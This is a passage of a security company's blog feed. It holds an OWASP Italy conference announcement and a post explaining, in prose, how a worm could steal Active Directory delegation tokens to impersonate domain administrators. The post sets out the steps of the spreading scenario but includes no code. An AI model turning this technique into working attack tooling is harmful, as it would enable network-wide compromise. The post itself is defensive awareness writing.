width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7122745763234660283.post-1988342217846075947</id><published>2009-02-11T15:40:00.000-08:00</published><updated>2009-03-01T08:28:24.605-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Application Security'/><title type='text'>OWASP-Italy Day III - Next 23rd February</title><content type='html'>&lt;span style="font-weight:bold;"&gt;OWASP Day III - "Web Application Security: research meets industry"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Background:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software. OWASP mission is to make application security "visible," so that people and organizations can make informed decisions about application security risks.&lt;br /&gt;Everyone is free to participate to the OWASP community and all the produced materials are available under a free and open software license. &lt;br /&gt;&lt;br /&gt;The OWASP Day 3 follows the success of the past OWASP Italy Day and, in particular, the OWASP-Day II that received 250 subscriptions of attendees come from widespread business area: Telecommunication, Finance, Banking, Assurance, Government Companies.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Goals and Topics:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The OWASP Days have always offered a forum for discussion and exchange of ideas among researchers and practitioners who present their experiences and discuss issues related to Web Application Security from a higher level to a technical point of view.&lt;br /&gt;&lt;br /&gt;Conference topics include, but are not limited to:&lt;br /&gt;* The evolution of attacks and countermeasures for the security in the Web Application&lt;br /&gt;* Case studies of how the Companies have adopted the OWASP Guidelines in their SDLC.&lt;br /&gt;* Application Security Assessment Model&lt;br /&gt;* Data Privacy Enabling Technology&lt;br /&gt;* Experience report in applying OWASP guidelines to industries&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Agenda&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The detailed agenda of the conference is available here:&lt;br /&gt;&lt;a href="http://www.owasp.org/index.php/Italy_OWASP_Day_3"&gt; OWASP-Italy Day III&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Registration and fee:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The conference is open to all attendees for free (coffee break and business lunch are included) but it requires (mandatory) registration at the following URL:&lt;br /&gt;http://www.daisy-net.com/owasp&lt;br /&gt;&lt;br /&gt;In order to guaranty a well organized event,  the unregistered attendees will not be allowed to access the conference.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Location:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The OWASP-Italy Day III will be hosted by:&lt;br /&gt;&lt;br /&gt;Centro di Competenza ICT SUD - Puglia&lt;br /&gt;Department of Informatics&lt;br /&gt;University of Bari&lt;br /&gt;Via E. Orabona n.4.&lt;br /&gt;70125 - Bari&lt;br /&gt;Italy&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Details and Location&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.owasp.org/index.php/Italy_OWASP_Day_3"&gt;Official site&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.owasp.org/index.php/Italy_OWASP_Day_3_Location"&gt;Location&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7122745763234660283-1988342217846075947?l=blog.mindedsecurity.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mindedsecurity.com/feeds/1988342217846075947/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.mindedsecurity.com/2009/02/owasp-italy-day-iii-next-23rd-february.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/1988342217846075947'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/1988342217846075947'/><link rel='alternate' type='text/html' href='http://blog.mindedsecurity.com/2009/02/owasp-italy-day-iii-next-23rd-february.html' title='OWASP-Italy Day III - Next 23rd February'/><author><name>Matteo Meucci</name><uri>http://www.blogger.com/profile/10505285469528042725</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09096630004793563409'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7122745763234660283.post-2955742740161058183</id><published>2009-01-26T02:13:00.000-08:00</published><updated>2009-01-26T02:50:02.665-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><title type='text'>Shields up against Domain Escalation Worms</title><content type='html'>Internal networks are the core of the business activity. Resources should be available, shares must be reachable, and servers should expose a wide number of services that are used every day by employees. Enterprise officers usually agree that security components are easier to manage if they are centralized and that password rotation is also better achieved Single Sign On architectures are used. Active Directory is one of the most deployed and pervasive Single Sign On solutions with &lt;span style="font-style: italic;"&gt;40% Market Share&lt;/span&gt; in large organizations (Microsoft Custom Research Market Study, May 2004). Active Directory “using the same database, for use primarily in Windows environments, allows administrators to assign policies, deploy software, and apply critical updates to an organization” (Wikipedia).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vcTLhf3MjL0/SX2PLp01OgI/AAAAAAAAAAU/CHwhDUc7Ec8/s1600-h/domain+escalation+worms_med.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 261px;" src="http://3.bp.blogspot.com/_vcTLhf3MjL0/SX2PLp01OgI/AAAAAAAAAAU/CHwhDUc7Ec8/s400/domain+escalation+worms_med.jpg" alt="" id="BLOGGER_PHOTO_ID_5295546167226350082" border="0" /&gt;&lt;/a&gt;Unfortunately Enterprise networks are still very vulnerable to attacks performed from the inside of the network. Skilled attackers leveraging multiple types of attacks can easily obtain access to most of the systems. Some of the techniques include: exploiting unpatched systems (more the services exposed, more the breaches), exploiting unpatched applications, performing layer 2 attacks and&lt;span style="font-style: italic;"&gt; riding trust between systems&lt;/span&gt;. Things get worse if we consider that most of the previous attacks can be pursued by an automated program and not by a physical attacker. Worms are able to spread across networks in very subtle ways and can easily spread from the inside when a laptop gets infected. From such privileged position, it’s easier to further spread by exploiting vulnerabilities on unpatched systems as shown by the recent Downadup Worm (&lt;a href="http://www.symantec.com/security_response/writeup.jsp?docid=2008-112203-2408-99"&gt;W32.Downadup Symantec Security Response&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;Since Active Directory is fundamentally a centralized Single Sign On architecture that authenticates and authorizes resources using Kerberos, Active Directory creates implicit trusts between systems. Authenticated clients in possession of privileged access grants are able to access or to delegate their grants to other systems. Once a user is authenticated, he receives a session token signed by AD authority and he does not need to enter his credentials again.&lt;br /&gt;&lt;br /&gt;Can Worms spread faster by exploiting the Active Directory trust model? Could a Worm impersonate other users to escalate privileges in an Active Directory environment?&lt;br /&gt;&lt;br /&gt;A Domain Escalation attack takes places when a malicious user is able to extend his privileges on the Active Directory Domain. One of the most ingenious ways to accomplish this task is to impersonate another user that has a higher set of privileges by stealing his Active Directory token (or session). Luke Jennings from MWR Infosecurity in his brilliant paper describes all the details of this particular attack   (&lt;a href="http://labs.mwrinfosecurity.com/files/Publications/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf"&gt;MWR Infosecurity Delegation Token Security Explained&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;Any task with Local Administrative privileges is able to grab the token from any process that has previously obtained a delegation. It’s easier to say that if your machine gets infected by a malicious piece of software, this software can get domain privileges by waiting that a remote system will use delegation remotely to perform any kind of operation. How long should it wait? Not, so long, considering that also WSUS service may use delegation while pushing updates and Remote Desktop uses it as well.&lt;br /&gt;&lt;br /&gt;Example of Internal Spreading process:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;CEO’s Laptop get Infected by a Worm at the Airport;&lt;/li&gt;&lt;li&gt;CEO’s after a week gets back to the headquarter and authenticates to Active Directory Domain;&lt;/li&gt;&lt;li&gt;The worm start spreading on a limited number of systems using MS08-067 or 06-040 or similar publicly known exploits&lt;/li&gt;&lt;li&gt;The worm reveals to be a Domain Escalation Worm and start monitoring the properties of the local processes on the compromised machines;&lt;/li&gt;&lt;li&gt;When a new local process is created with a Delegation token of a domain user, the worm is able to steal that token and to impersonate the remote user&lt;/li&gt;&lt;li&gt;The worm start spreading with the new obtained privileges&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;As it’s possible to see the combined usage of other spreading vectors increase the number of monitored systems and the chance to impersonate a highly privileged user (e.g. users that belongs to “Domain Administrator”, “Enterprise Administrator”, “Workstation Administrators” groups ).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Conclusions&lt;/span&gt;&lt;br /&gt;Worms may use this technique to spread faster. The process could be easily automated, for targeting only privileged users of the Active Directory domain . If a Worm can then impersonate a Domain Administrator, via a Policy Deploy rule it can infect any machine in the network.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7122745763234660283-2955742740161058183?l=blog.mindedsecurity.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mindedsecurity.com/feeds/2955742740161058183/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.mindedsecurity.com/2009/01/shields-up-against-domain-escalation.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/2955742740161058183'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/2955742740161058183'/><link rel='alternate' type='text/html' href='http://blog.mindedsecurity.com/2009/01/shields-up-against-domain-escalation.html' title='Shields up against Domain Escalation Worms'/><author><name>Giorgio Fedon</name><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='15175471670238994696'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_vcTLhf3MjL0/SX2PLp01OgI/AAAAAAAAAAU/CHwhDUc7Ec8/s72-c/domain+escalation+worms_med.jpg' height='72' width='72'/><thr:total>0</thr:total></entry></feed>